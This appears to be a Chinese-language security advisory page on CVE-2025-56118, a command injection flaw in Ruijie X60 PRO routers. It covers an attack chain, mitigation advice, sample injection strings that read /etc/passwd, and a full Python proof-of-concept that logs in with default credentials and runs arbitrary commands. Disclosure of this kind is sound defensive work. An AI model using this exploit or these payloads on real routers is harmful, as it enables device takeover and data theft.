IPBUF安全漏洞报告
English
CVE-2025-56118 CVSS 8.8 高危

CVE-2025-56118 锐捷X60 PRO路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56118
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00

相关标签

CVE-2025-56118OS命令注入远程代码执行Ruijie锐捷网络路由器漏洞X60 PROWeb应用安全高危漏洞Lua脚本漏洞

漏洞概述

CVE-2025-56118是锐捷网络( Ruijie)X60 PRO路由器中存在的一个严重的操作系统命令注入漏洞。该漏洞存在于设备的Web管理界面中,具体位于/usr/local/lua/dev_sta/nbr_cwmp.lua文件的module_set接口。由于该接口对用户输入缺乏有效的安全过滤和参数校验,攻击者可以通过精心构造的恶意POST请求,在服务器端注入并执行任意操作系统命令。攻击成功后,攻击者可以完全控制受影响设备,执行任意代码、安装后门、窃取敏感数据或将其纳入僵尸网络。由于该漏洞的CVSS评分达到8.8分,属于高危级别,且攻击复杂度较低,无需高级权限即可利用,因此对使用该设备的组织和个人构成严重安全威胁。建议受影响用户立即采取防护措施,避免设备暴露在互联网中。

技术细节

该漏洞属于经典的OS命令注入(OS Command Injection)类型,也称为命令注入漏洞。在Ruijie X60 PRO路由器的固件中,Web管理界面通过Lua脚本处理用户请求。位于/usr/local/lua/dev_sta/nbr_cwmp.lua文件中的module_set接口负责处理设备模块配置功能。问题在于该接口在接收用户提交的参数后,直接将用户输入拼接到系统命令中执行,而没有对特殊字符进行过滤或使用安全的API(如使用参数化调用而非字符串拼接)。攻击者可以利用管道符(|)、分号(;)、反引号(``)或$(...)等命令连接符,在参数值中注入额外的系统命令。例如,攻击者可以在module_set接口的参数中插入类似';whoami;'或'|cat /etc/passwd|'的Payload,实现命令注入。由于该接口通常需要低权限认证,攻击者只需获取设备的基本用户账号即可利用此漏洞发动攻击。成功利用后,攻击者可以以root权限在设备上执行任意命令,完全接管设备。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Ruijie X60 PRO路由器,发现其Web管理界面可访问,并定位到存在漏洞的/module_set接口路径
STEP 2
步骤2: 认证获取
攻击者使用低权限账号(如admin/admin)登录设备管理界面,获取有效会话Cookie或Token
STEP 3
步骤3: 构造恶意Payload
攻击者构造包含命令注入载荷的POST请求,在module_param参数中使用分号、管道符或反引号等特殊字符注入额外命令
STEP 4
步骤4: 发送漏洞利用请求
攻击者向http://target_ip/cgi-bin/luci/api/nbr_cwmp/module_set发送精心构造的POST请求,触发命令注入
STEP 5
步骤5: 命令执行
由于缺乏输入过滤,服务器将用户输入拼接到系统命令中执行,攻击者注入的命令以设备root权限运行
STEP 6
步骤6: 持久化控制
攻击者可以安装后门、创建隐藏账户、修改启动脚本或下载恶意固件,实现对设备的持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56118 PoC - Ruijie X60 PRO OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie X60 PRO router. Target: /usr/local/lua/dev_sta/nbr_cwmp.lua - module_set endpoint """ import requests import sys def exploit_cve_2025_56118(target_ip, target_port=80, username="admin", password="admin", cmd="whoami"): """ Exploit OS Command Injection in Ruijie X60 PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) username: Valid username for authentication password: Valid password for authentication cmd: Command to execute on the target system Returns: Response from the exploited endpoint """ # Construct the target URL url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Authentication cookies/session auth_data = { "username": username, "password": password } # Malicious payload with command injection # Using semicolon to chain commands malicious_cmd = f"{cmd};echo CVE-2025-56118" # Exploit payload for module_set endpoint exploit_data = { "module_name": "test_module", "module_param": malicious_cmd, # Command injection point "action": "set" } try: # First authenticate to get session session = requests.Session() # Login request login_url = f"http://{target_ip}:{target_port}/cgi-bin/luci" login_response = session.post(login_url, data=auth_data, timeout=10) # Send exploit request response = session.post(url, data=exploit_data, timeout=10) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Payload: {malicious_cmd}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password] [command]") print(f"Example: {sys.argv[0]} 192.168.1.1 80 admin admin 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 username = sys.argv[3] if len(sys.argv) > 3 else "admin" password = sys.argv[4] if len(sys.argv) > 4 else "admin" cmd = sys.argv[5] if len(sys.argv) > 5 else "whoami" exploit_cve_2025_56118(target_ip, target_port, username, password, cmd)

影响范围

Ruijie X60 PRO V1.00
Ruijie X60 PRO V2.00
Ruijie X60_10212014RG-X60 PRO V1.00
Ruijie X60_10212014RG-X60 PRO V2.00

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)不要将路由器Web管理界面直接暴露在互联网中,务必通过VPN或白名单机制限制访问来源;2)更改默认管理员密码为强密码,并定期更换;3)在网络边界设备上过滤对路由器管理端口的未授权访问;4)监控设备日志,关注异常的POST请求和命令执行行为;5)考虑使用入侵检测系统监控针对该漏洞的扫描和利用尝试;6)如果可能,临时禁用受影响的module_set功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表